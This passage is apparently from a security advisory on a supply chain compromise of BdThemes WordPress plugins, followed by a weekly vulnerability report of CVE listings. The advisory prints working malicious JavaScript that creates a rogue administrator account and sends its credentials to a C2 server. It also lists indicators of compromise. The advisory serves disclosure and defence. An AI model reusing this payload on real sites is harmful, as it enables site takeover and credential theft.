The generated credentials are then used to create a rogue admin user, exfiltrating the outcome to the C2 server while saving a localStorage flag (when available) on the victim’s browser:
function beacon(qs){
  try{var b=new Blob([qs],{type:'application/x-www-form-urlencoded'});if(navigator.sendBeacon&&navigator.sendBeacon(C,b))return;}catch(e){}
  try{fetch(C,{method:'POST',body:qs,headers:{'Content-Type':'application/x-www-form-urlencoded'},credentials:'omit',mode:'no-cors',keepalive:true});}catch(e2){}
}
function reportAdmin(st,user,pass,lu){ 
  beacon('xa=admin&status='+euc(st)+'&au='+euc(user)+'&ap='+euc(pass)+'&site='+euc(getOrigin())+'&lu='+euc(lu)+'&u='+euc(pageUrl()));
}

function modAdmin(){
  var creds=makeCreds();
  var user=creds.user,pass=creds.pass,lu='';
  return fetch('/wp-admin/user-new.php',{credentials:'same-origin'}).then(function(r){return r.text();}).then(function(html){
    var lm=html.match(/href=["']([^"']*?)?action=logout/);if(lm)lu=lm[1];
    var n=findNonce(html);if(!n){reportAdmin('nonce_missing',user,pass,lu);return;}
    var b='action=createuser&_wpnonce_create-user='+n+'&user_login='+user+'&email='+user+'%40wordpress.org&pass1='+euc(pass)+'&pass2='+euc(pass)+'&role=administrator&createuser=Add+New+User';
    return fetch('/wp-admin/user-new.php',{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:b,redirect:'manual'}).then(function(r){
      try{localStorage.setItem(DONE_KEY,'1');}catch(e){}
      if(r.type==='opaqueredirect'||r.status===302||r.status===301){reportAdmin('created',user,pass,lu);return;}
      if(r.ok)return r.text().then(function(t){
        var exists=/already exists|username.*taken/i.test(t);
        reportAdmin(exists?'exists':'created',user,pass,lu);
      });
      reportAdmin('fail',user,pass,lu);
    });
  }).catch(function(e){reportAdmin('err',creds.user,creds.pass,'');});
}
try{if(localStorage.getItem(DONE_KEY))return;}catch(e){}
modAdmin();
}

 
Threat Actors & Scope
The C2 domain is related to the same threat actors behind both the Advanced Responsive Video Embedder and the OptinMonster supply chain attacks that happened in the last two months.
The primary objective of this campaign is widespread, silent administrative persistence and remote code execution across millions of WordPress environments. This supply chain compromise is particularly insidious because it didn’t require any access to websites, poisoning a simple promotional feed was enough to exploit a vulnerability in the underlying display code.
The fact that malicious JSON records and the secondary x.js payload were uploaded directly into the vendor’s own bucket indicates a severe upstream compromise of BdThemes’ cloud storage credentials or internal infrastructure.
 
Indicators of Compromise (IoCs)
Affected Plugins

Element Pack Addons for Elementor(bdthemes-element-pack-lite)
Prime Slider Addons for Elementor(bdthemes-prime-slider-lite)
Pixel Gallery Addons for Elementor(pixel-gallery)
Ultimate Post Kit Addons for Elementor(ultimate-post-kit)
Ultimate Store Kit – Addon For WooCommerce, EDD and Elementor(ultimate-store-kit)
Live Copy Paste for Elementor (live-copy-paste)
Smart Admin Assistant (smart-admin-assistant)

External Resources

Primary Payload URL: ia-cdn[.]com/fz/w2.js
C2 Beacon Endpoint: ia-cdn[.]com/fz/c
Poisoned Vendor API Endpoints (now cleaned):

api[.]sigmative[.]io/prod/store/api/biggopti/api-data-all-records
api[.]sigmative[.]io/prod/store/api/biggopti/api-data-records
api[.]sigmative[.]io/prod/store/api/biggopti/x.js



Filesystem & Database

Webshell File: emer-run.php (md5: 1024732009983dd5e54b4cf5593f04d4)
MU-Plugin Magic Login Backdoor: class-wp-token-validate.php (md5: 7719cd98a35ffad2771f26d1ceab7d27)
MU-Plugin Stealth Module: class-wp-query-9d127ff3.php (or similar class-wp-query-*.php naming. md5: 9aadc3e5c5242b273bd17c5bdc358845)
MU-Plugin “Health Check” Module: wp-cache-optimizer.php (md5: e450ae5bc4bfc0d960dded06a76bb8e9)
Database option: fz_emer_login_tokens (Stores magic login tokens)
Database option: fz_emer_done_v1 (Flag indicating completed compromise)
Accounts utilizing @wordpress.org or @developer.wordpress.org domains.
Usernames matching bd_ + 6 alphanumeric characters.

Timeline

2026-03-01: Biggopti API JS added to Prime Slider v4.1.9 (SVN r3471891). display_id unescaped in id attribute. API endpoint: api-data-records.
2026-05-10: Endpoint changed to api-data-all-records. DOMParser sanitizer added for content field, id attribute still unescaped.
2026-06-23: start_date in the poisoned API campaign (“Summer Sale” notice). The earliest possible date the XSS could have been active.
2026-08-06 22:40 UTC: Last-Modified on poisoned api-data-records
2026-08-07 09:11 UTC: Last-Modified on poisoned api-data-all-records
2026-08-07: Threat Intelligence Team notified, attack observed in the wild.
2026-08-07: Plugins closed on WordPress directory pending review.
2026-08-07 16:56 UTC: Investigation artifacts captured.
2026-08-08: Both API endpoints now returns clean JSON

Conclusion
In this blog post we detailed a Cross-Site Scripting (XSS) vulnerability, leveraged by an API-driven supply chain compromise, within the BdThemes plugin ecosystem. This vulnerability allows threat actors to execute arbitrary JavaScript inside an authenticated administrator’s browser session by poisoning the remote JSON promotional data stream fetched from the vendor’s object-storage bucket.
This supply chain attack demonstrates the evolving threat landscape facing WordPress site owners. Rather than altering plugin source code or exploiting a traditional server-side flaw, the attackers compromised the vendor’s remote data pipeline, turning trusted administrative banner notices into malware delivery vehicles.
Successful exploitation leads to full site compromise, enabling attackers to silently create rogue administrative accounts, upload webshells, and deploy persistence backdoors. Because plugin files remain unmodified on disk, we encourage all WordPress site owners running BdThemes plugins to immediately audit their database user lists, plugin directories, and database option table for any indicators of compromise.
Wordfence Premium, Care and Response users, as well as paid Wordfence CLI customers, received malware signatures and WAF rules to detect this supply chain compromise on August 7th, 2026. Wordfence free users and Wordfence CLI free users will receive these signatures and rules after the standard 30-day delay.
The post PSA: Supply Chain Compromise in BdThemes Ecosystem via Poisoned API Response appeared first on Wordfence.

Wordfence Intelligence Weekly WordPress Vulnerability Report (July 27, 2026 to August 2, 2026)

Simon Browning — Sat, 08 Aug 2026 01:38:41 +0000

Last week, there were 224 vulnerabilities disclosed in 177 WordPress Plugins and 2 WordPress Themes that have been added to the Wordfence Intelligence Vulnerability Database, and there were 119 Vulnerability Researchers that contributed to WordPress Security last week. Review those vulnerabilities in this report now to ensure your site is not affected.

Click here to sign-up for our mailing list to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published.

New Firewall Rules Deployed Last Week

The team rolled out enhanced protection via firewall rules for the following vulnerabilities in real-time to our Premium, Care, and Response customers last week:

WPMU DEV Dashboard <= 5.0.0 – Authentication Bypass to Arbitrary Plugin Installation (Remote Code Execution) via Forged WDP_AUTH HMAC on ?wpmudev-hub= Endpoint
Advanced Responsive Video Embedder for Rumble, Odysee, YouTube, Vimeo, Kick … 10.8.7 – Unauthenticated Authentication Bypass via Hardcoded Backdoor in ‘_wplogin’ Parameter
WAF-RULE-935 – Data redacted while we work with the vendor on a patch.
WAF-RULE-937 – Data redacted while we work with the vendor on a patch.

Total Unpatched & Patched Vulnerabilities Last Week

Patch Status	Number of Vulnerabilities
Patched	186
Unpatched	38

Total Vulnerabilities by CVSS Severity Last Week

Severity Rating	Number of Vulnerabilities
Medium Severity	150
High Severity	61
Critical Severity	13

Total Vulnerabilities by CWE Type Last Week

Vulnerability Type by CWE	Number of Vulnerabilities
Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)	72
Missing Authorization	47
Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)	31
Exposure of Sensitive Information to an Unauthorized Actor	14
Authorization Bypass Through User-Controlled Key	12
Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)	10
Cross-Site Request Forgery (CSRF)	7
Server-Side Request Forgery (SSRF)	6
Improper Privilege Management	5
Unrestricted Upload of File with Dangerous Type	5
Improper Control of Generation of Code (‘Code Injection’)	4
Deserialization of Untrusted Data	3
Authentication Bypass by Alternate Name	1
Authentication Bypass Using an Alternate Path or Channel	1
Embedded Malicious Code	1
External Control of Assumed-Immutable Web Parameter	1
Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’)	1
Incorrect Authorization	1
Incorrect Privilege Assignment	1
Unverified Password Change	1

Researchers That Contributed to WordPress Security Last Week

Researcher Name	Number of Vulnerabilities
Wordfence PRISM	49
Ananda Dhakal	26
daroo	11
Nabil Irawan	4
Rafie Muhammad	4
Abdullah Kareem “cyberkareem”	4
luc	4
Dmitrii Ignatyev	3
Revanth Hari Narayana Matte	3
h0xilo	2
Chawabhon Netisingha (JNX03)	2
Itthidej Aramsri (Boeing777)	2
Md. Moniruzzaman Prodhan (NomanProdhan)	2
Jakub Lipiński (A3RES)	2
thevietronin	2
Mustafa Ahmed	2
Nox Axter	2
dutafi	2
Jonatan Buskila	2
johska	2
Nhien Pham (nhienit)	2
TurboNexic	2
bashu	2
Chiao-Lin Yu (Steven Meow)	2
Jayant Kamble	1
lhking	1
maru	1
Athiwat Tiprasaharn (Jitlada)	1
Phat RiO	1
lqc	1
dyingman	1
Adam Rayyan Aryasatya	1
Phyo Ko Ko	1
Mokksh Parekh	1
andrea bocchetti	1
kr0d	1
Deadbee	1
Mukhlis Amien	1
Tarcísio Luchesi(Poystick)	1
Muni Nitish Kumar Yaddala	1
Khaled Alenazi (Nxploited)	1
Nia	1
Vaibhav Narkhede	1
Chloe Chamberland	1
Dave Jong	1
Youssef massoudi	1
Nguyen Dinh Hai (HaiND)	1
sl4x0	1
Bao – BlueRock	1
K. Sorrachat	1
Or Benit	1
Nguyen Ba Khanh – HPT Vietnam Corporation	1
UKO	1
Meher Sudhakar Abbireddi	1
Vincent Theriault-Laine	1
Son Van (mrs0x06)	1
zickzick2	1
cuokon	1
Supakiad S. (m3ez)	1
Osvaldo Noe Gonzalez Del Rio (Os)	1
zakaria	1
ChinhNguyen	1
zaim	1
Tal Kantor	1
Nguyen Ngoc Duc (duc193)	1
0xzenko	1
Mykel Nelson	1
Coopernicus	1
Luis Koleski	1
SAHRAOUI AYMEN	1
theviper17y	1
Spy0x7	1
swat	1
Civitasmass	1
WEI HSIANG WANG	1
Legion Hunter	1
zalomkiller	1
Nguyen Truong (Roll)	1
Endang Alfarisi	1
Taichi Kashimura	1
whitebyte	1
Mark Moore	1
Charles Vosburgh	1
Nguyen Ba Khanh	1
Riyas M S	1
Joshua Martinelle	1
Karan J	1
Muhammad Sharief	1
Drew Webber (mcdruid)	1
Taylsec	1
Louis Deschanel (JeanJeanLeHaxor)	1
Pascal SUN	1
Trương Hữu Phúc (truonghuuphuc)	1
Talal Nasraddeen	1
Sanjar Tulkinov	1
Duy Tran	1
Shikhali Jamalzade	1
Mitchell	1
zhuxuan wu	1
she11f	1
VanTastic	1
Win3	1
Yousof Nahya	1
Hamza Nour	1
Yousof Nahya (whoami03)	1
LevinityCyber	1
Afan	1
moonge	1
Septio Noerdiansyah	1
Nguyen Quang Truong	1
Chu Thao Mai	1
Hardik Patel	1
Austin Ginder	1
lucsob	1
Bonds	1
Daniel Púa – devploit	1
Pedro Pinho	1
qdtad	1
anhcd05	1

WordPress Plugins with Reported Vulnerabilities Last Week

Software Name	Software Slug
Ad Invalid Click Protector (AICP)	ad-invalid-click-protector
Admin and Site Enhancements (ASE) Pro	admin-site-enhancements-pro
Advanced Form Integration — Connect Forms to 200+ Apps	advanced-form-integration
Advanced Responsive Video Embedder for Rumble, Odysee, YouTube, Vimeo, Kick …	advanced-responsive-video-embedder
Advanced Shipment Tracking for WooCommerce	woo-advanced-shipment-tracking
Advanced Views – Display Custom Fields (ACF, Pods, MetaBox), Posts, CPT and Woo Products anywhere in Gutenberg, Elementor, Divi, Beaver…	acf-views
Advanced Woo Labels – Product Labels & Badges for WooCommerce	advanced-woo-labels
AffiliateWP	affiliate-wp
AI Copilot – Content Generator	ai-copilot-content-generator
AI Engine – The Chatbot, AI Framework & MCP for WordPress	ai-engine
Animation Addons for Elementor – GSAP Motion Elementor Addons & Website Templates	animation-addons-for-elementor
AnsPress – Question and answer	anspress-question-answer
Anti Spam and list cleaner – AcyChecker	acychecker
Auto Featured Image (Auto Post Thumbnail)	auto-post-thumbnail
BackWPup – WordPress Backup & Restore Plugin	backwpup
Better Messages – Chat Rooms, Group Chat, Private Messages & AI Chat Bots	bp-better-messages
Bit Form – Contact Form, Payment Forms, Multi Step Forms, Calculator & Custom Form Builder	bit-form
Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation	bit-integrations
Booking Calendar	booking
Booking System Trafft	booking-system-trafft
BOX NOW Delivery Croatia + Slovenia	box-now-delivery-croatia
Breakdance	breakdance
BuddyPress	buddypress
Business Directory Plugin – Easy Listing Directories for WordPress	business-directory-plugin
Chaty Pro	chaty-pro
Checkout Field Editor for WooCommerce – Checkout Manager	checkout-field-editor-and-manager-for-woocommerce
Colissimo shipping methods for WooCommerce	colissimo-shipping-methods-for-woocommerce
Contact Form to Any API	contact-form-to-any-api
Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe	contest-gallery
Cost Calculator Builder PRO	cost-calculator-builder-pro
Cozy Blocks – Page Builder for Gutenberg Editor & FSE with 700+ Patterns, 58 Blocks & Templates	cozy-addons
Creative Mail – Easier WordPress & WooCommerce Email Marketing	creative-mail-by-constant-contact
CubeWP Framework	cubewp-framework
Database Collation Fix	database-collation-fix
Database for CF7	database-for-cf7
Demi – One Click Demo Import, Backup & Site Migration	demi-backup-migration
Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy	dokan-lite
Download Manager	download-manager
Easy Appointments	easy-appointments
Easy Digital Downloads – eCommerce Payments and Subscriptions made easy	easy-digital-downloads
Easy PayPal & Stripe Buy Now Button	wp-ecommerce-paypal
Easy Property Listings	easy-property-listings
Eazy Plugin Manager – Powerful Plugin Management Solution for WordPress	plugins-on-steroids
Element Pack Addons for Elementor – Elementor Widgets, Elementor Templates, Elementor Addons	bdthemes-element-pack-lite
Essential Addons for Elementor – Popular Elementor Templates & Widgets	essential-addons-for-elementor-lite
Event Booking Manager for WooCommerce – Sell Tickets, Event Registration, RSVP & Event Calendar	mage-eventpress
Exclusive Addons for Elementor	exclusive-addons-for-elementor
Export User Data	export-user-data
Extra Checkout Options – addon for Extra Product Options plugin	woocommerce-tm-extra-checkout-options-addon
Facturación Electrónica Costa Rica	factura-electronica-cr
FleekDash V2	fleekdash
Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder	fluentform
FormCraft	formcraft
FormGent – Next-Gen AI Form Builder for WordPress with Multi-Step, Quizzes, Payments & More	formgent
Formidable Forms Signature Online Contract Automation	forms-signature-formidable-online-contract-automation
FundEngine – Donation and Crowdfunding Platform	wp-fundraising-donation
FuseWP – WordPress User Sync to Email List & Marketing Automation (Mailchimp, Constant Contact, ActiveCampaign etc.)	fusewp
Gallery PhotoBlocks	photoblocks-grid-gallery
GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress	gamipress
GenerateBlocks	generateblocks
GEO Plugin by Squirrly SEO	squirrly-seo
GetGenie – AI SEO Assistant & Content Writer with Keyword Research, AEO & GEO	getgenie
GiveWP – Donation Plugin and Fundraising Platform	give
GSheetConnector – Contact Form 7 Google Sheets Connector & Save CF7 Entries to Database	cf7-google-sheets-connector
GTM4WP – A Google Tag Manager (GTM) plugin for WordPress	duracelltomi-google-tag-manager
Gutena Forms – Contact Form, Survey Form, Feedback Form, Booking Form, and Custom Form Builder	gutena-forms
HBook – Hotel booking system – WordPress Plugin	hbook
Icegram Engage – Popups, Optins, CTAs & Lead Generation	icegram
Icegram Mailer – Reliable Email Deliverability, No-code SMTP Replacement & Email logs	icegram-mailer
Improved Save Button	improved-save-button
Insert Headers and Footers Code – HT Script	insert-headers-and-footers-script
Jeg Kit for Elementor – Powerful Addons for Elementor, Widgets & Templates for WordPress	jeg-elementor-kit
JetBlocks for Elementor	jet-blocks
JetReviews	jet-reviews
JetSearch	jet-search
Kadence Blocks — Page Builder Toolkit for Gutenberg Editor	kadence-blocks
Kali Forms — Contact Form & Drag-and-Drop Builder	kali-forms
Kirki – Freeform Page Builder, Website Builder & Customizer	kirki
Klubraum Membership Request	klubraum-membership-request
LifterLMS – WP LMS for eLearning, Online Courses, & Quizzes	lifterlms
Link Library	link-library
Location Weather – WordPress Weather Forecast, Air Quality & Weather Widget	location-weather
MailChimp Subscribe Form, Optin Builder, PopUp Builder, Form Builder	mailchimp-subscribe-sm
MailerPress – Email Marketing, Newsletter, Email Automation & WooCommerce Emails	mailerpress
MailOptin – Popup, Optin Forms & Email Newsletters for Mailchimp, HubSpot, AWeber Etc.	mailoptin
MasterStudy LMS WordPress Plugin – for Online Courses and Education	masterstudy-lms-learning-management-system
Media Cleaner: Clean your WordPress!	media-cleaner
Message Filter for Contact Form 7	cf7-message-filter
Meta Box AIO	meta-box-aio
Meta for WooCommerce	facebook-for-woocommerce
Meta pixel for WordPress	official-facebook-pixel
miniOrange OTP Login, Verification and SMS Notifications	miniorange-otp-verification
Newsletters	newsletters-lite
NEX-Forms – Ultimate Forms Plugin for WordPress	nex-forms-express-wp-form-builder
Online Scheduling and Appointment Booking System – Bookly	bookly-responsive-appointment-booking-tool
Open User Map – Interactive Leaflet Maps	open-user-map
Paid Memberships Pro – Content Restriction, User Registration, & Paid Subscriptions	paid-memberships-pro
Payment forms, Buy now buttons, and Invoicing System \| GetPaid	invoicing
PDFDraft – Drag & Drop PDF Builder, PDF Viewer, Embed & Download PDF, Certificate & Invoice Designer	pdfdraft
Photonic Gallery & Lightbox for Flickr, SmugMug & Others	photonic
PickPlugins Question Answer	question-answer
Pinpoint Booking System – Version 2	booking-system
PixelYourSite Pro – Your smart PIXEL (TAG) Manager	pixelyoursite-pro
PixelYourSite – Your smart PIXEL (TAG) & API Manager	pixelyoursite
Plugin Organizer	plugin-organizer
Points Management System For Gamification, Ranks, Badges, and Loyalty Rewards Program – myCred	mycred
Powerkit – Supercharge your WordPress Site	powerkit
Premium Packages – Sell Digital Products Securely	wpdm-premium-packages
Pronamic Pay	pronamic-ideal
Qode Tours	qode-tours
Rank Math SEO – AI SEO Tools to Dominate SEO Rankings	seo-by-rank-math
RealHomes Memberships	inspiry-memberships
Realtyna Organic IDX plugin + WPL Real Estate	real-estate-listing-realtyna-wpl
RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login	custom-registration-form-builder-with-submission-manager
Responsive Thumbnail Slider	wp-responsive-thumbnail-slider
RSS Aggregator by Feedzy – Feed to Post, Autoblogging, News & YouTube Video Feeds Aggregator	feedzy-rss-feeds
RT Mega Menu – Mega Menu Builder for Elementor & Gutenberg	rt-mega-menu
Search Atlas SEO – Premier SEO Plugin for One-Click WP Publishing & Integrated AI Optimization	metasync
SendPulse Email Marketing Newsletter	sendpulse-email-marketing-newsletter
ShopLentor Pro	woolentor-addons-pro
ShopLentor – All-in-One WooCommerce Growth & Store Enhancement Plugin	woolentor-addons
Shortcodify	shortcodify
Simple Link Directory Pro – AI Powered	simple-link-directory-pro
Simply Schedule Appointments	simply-schedule-appointments
Single Sign On For TNG	single-sign-on-for-tng
SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery	sms-alert
Social Share, Social Login and Social Comments Plugin – Super Socializer	super-socializer
Spam protection, Honeypot, Anti-Spam by CleanTalk	cleantalk-spam-protect
SpeedyCache – Cache, Optimization, Performance	speedycache
Spider Analyser – WordPress搜索引擎蜘蛛分析插件	spider-analyser
Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light	excel-like-price-change-for-woocommerce-and-wp-e-commerce-light
Staff Training	staff-training
StoreGrowth – Upsell, BOGO, Quick View, Direct Checkout & Side Cart for WooCommerce	storegrowth-sales-booster
Subscriptions for WooCommerce	subscriptions-for-woocommerce
SureForms – Contact Form Builder, AI Forms, Payment Form, Survey & Quiz	sureforms
Survey Form Block – collect answers and insights from your audience	survey-form-block
Sync Post With Other Site	sync-post-with-other-site
Taskbuilder – Project Management & Task Management Tool With Kanban Board	taskbuilder
Theme Editor	theme-editor
Thrive Leads	thrive-leads
TrueBooker – Appointment Booking and Scheduler System	truebooker-appointment-booking
Tutor LMS – eLearning and online course solution	tutor
Ultimate Addons for Elementor	ultimate-elementor
Ultimate Store Kit – Addon For WooCommerce, EDD and Elementor	ultimate-store-kit
Ultra Addons for Contact Form 7	ultimate-addons-for-contact-form-7
Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin	uncanny-automator
User Access Manager	user-access-manager
User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor	profile-builder
User Profile Picture	metronet-profile-picture
Vimeo	vimeo
W3 Total Cache	w3-total-cache
Web Directory Free	web-directory-free
Wholesale for WooCommerce	woo-wholesale-pricing
WooCommerce – Social Login	woo-social-login
WooCommerce PayPal Payments	woocommerce-paypal-payments
WowStore – Store Builder & Product Blocks for WooCommerce	product-blocks
WP CTA – Call Now Button, Sticky Button & Call to Action Builder	easy-sticky-sidebar
WP Delicious – Recipe Plugin for Food Bloggers (formerly Delicious Recipes)	delicious-recipes
WP Fast Total Search – The Power of Indexed Search	fulltext-search
WP Google Review Slider	wp-google-places-review-slider
WP Hotel Booking	wp-hotel-booking
WP Maps – Google Maps,OpenStreetMap,Mapbox,Store Locator,Listing,Directory & Filters	wp-google-map-plugin
WP OAuth Server ( Login with WordPress )	miniorange-oauth-20-server
WP Password Policy	password-requirements
WP Photo Album Plus	wp-photo-album-plus
WP Travel – Ultimate Travel Booking System, Tour Management Engine	wp-travel
WP-Lister Lite for eBay	wp-lister-for-ebay
WPBot – AI ChatBot for Live Support, Lead Generation, AI Services	chatbot
WPC Badge Management for WooCommerce	wpc-badge-management
wpDataTables – WordPress Data Table, Dynamic Tables & Table Charts Plugin	wpdatatables
WPLP Cookie Consent – Cookie Banner & Consent Management for GDPR, CCPA & Google Consent Mode	gdpr-cookie-consent
WPML Multilingual & Multicurrency for WooCommerce	woocommerce-multilingual
WPvivid — Backup, Migration & Staging	wpvivid-backuprestore
Xendit Payment	woo-xendit-virtual-accounts
YayPricing – WooCommerce Dynamic Pricing & Discounts	yaypricing
ЮKassa для WooCommerce	yookassa
المنتور فارسی	persian-elementor

WordPress Themes with Reported Vulnerabilities Last Week

Software Name	Software Slug
Betheme	betheme
Gillion \| Multi-Concept Blog/Magazine & Shop WordPress AMP Theme	gillion

Vulnerability Details

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-16610

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

Admin and Site Enhancements (ASE) Pro [admin-site-enhancements-pro]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-18072

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Advanced Responsive Video Embedder for Rumble, Odysee, YouTube, Vimeo, Kick … [advanced-responsive-video-embedder]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-65507

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

AI Copilot – Content Generator [ai-copilot-content-generator]

Researcher

qdtad

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-14900

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Cost Calculator Builder PRO [cost-calculator-builder-pro]

Researcher

Khaled Alenazi (Nxploited)

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-14483

Patch Status

Unpatched

Published
Jul 30, 2026

Affected Software

Realtyna Organic IDX plugin + WPL Real Estate [real-estate-listing-realtyna-wpl]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-15964

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Single Sign On For TNG [single-sign-on-for-tng]

Researcher

andrea bocchetti

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-15014

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery [sms-alert]

Researcher

Civitasmass

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-65553

Patch Status

Unpatched

Published
Jul 29, 2026

Affected Software

Spider Analyser – WordPress搜索引擎蜘蛛分析插件 [spider-analyser]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2025-10656

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light [excel-like-price-change-for-woocommerce-and-wp-e-commerce-light]

Researcher

kr0d

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-8457

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

WooCommerce – Social Login [woo-social-login]

Researcher

Athiwat Tiprasaharn (Jitlada)

CVSS Rating
9.1 (Critical)

CVE-ID

CVE-2026-14490

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Demi – One Click Demo Import, Backup & Site Migration [demi-backup-migration]

Researcher

Spy0x7

CVSS Rating
9.1 (Critical)

CVE-ID

CVE-2026-3141

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

FormGent – Next-Gen AI Form Builder for WordPress with Multi-Step, Quizzes, Payments & More [formgent]

Researchers

CVSS Rating
9.1 (Critical)

CVE-ID

CVE-2026-14488

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Meta Box AIO [meta-box-aio]

Researcher

Austin Ginder

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-15988

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

AI Engine – The Chatbot, AI Framework & MCP for WordPress [ai-engine]

Researcher

UKO

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-65548

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Betheme [betheme]

Researcher

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-14328

Patch Status

Unpatched

Published
Jul 27, 2026

Affected Software

Eazy Plugin Manager – Powerful Plugin Management Solution for WordPress [plugins-on-steroids]

Researcher

Nia

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-14270

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Extra Checkout Options – addon for Extra Product Options plugin [woocommerce-tm-extra-checkout-options-addon]

Researcher

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-14356

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

FleekDash V2 [fleekdash]

Researcher

maru

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-16635

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Pronamic Pay [pronamic-ideal]

Researchers

Afan

moonge

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-16236

Patch Status

Unpatched

Published
Jul 30, 2026

Affected Software

Realtyna Organic IDX plugin + WPL Real Estate [real-estate-listing-realtyna-wpl]

Researcher

Son Van (mrs0x06)

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-15414

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Subscriptions for WooCommerce [subscriptions-for-woocommerce]

Researcher

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-12144

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Wholesale for WooCommerce [woo-wholesale-pricing]

Researchers

Chloe Chamberland

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-15992

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

WP Password Policy [password-requirements]

Researcher

zickzick2

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-16144

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Kali Forms — Contact Form & Drag-and-Drop Builder [kali-forms]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-15450

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

NEX-Forms – Ultimate Forms Plugin for WordPress [nex-forms-express-wp-form-builder]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-15006

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation [bit-integrations]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-1360

Patch Status

Unpatched

Published
Jul 29, 2026

Affected Software

BuddyPress [buddypress]

Researcher

Vincent Theriault-Laine

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-13339

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

CubeWP Framework [cubewp-framework]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-65552

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Export User Data [export-user-data]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-65549

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Jeg Kit for Elementor – Powerful Addons for Elementor, Widgets & Templates for WordPress [jeg-elementor-kit]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-14516

Patch Status

Unpatched

Published
Jul 27, 2026

Affected Software

Online Scheduling and Appointment Booking System – Bookly [bookly-responsive-appointment-booking-tool]

Researcher

Nguyen Ngoc Duc (duc193)

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-10207

Patch Status

Unpatched

Published
Jul 27, 2026

Affected Software

PickPlugins Question Answer [question-answer]

Researcher

Adam Rayyan Aryasatya

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-12800

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Premium Packages – Sell Digital Products Securely [wpdm-premium-packages]

Researcher

Talal Nasraddeen

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-65546

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Qode Tours [qode-tours]

Researcher

Bonds

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-65508

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Simply Schedule Appointments [simply-schedule-appointments]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-13161

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

TrueBooker – Appointment Booking and Scheduler System [truebooker-appointment-booking]

Researcher

Karan J

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-15025

Patch Status

Patched

Published
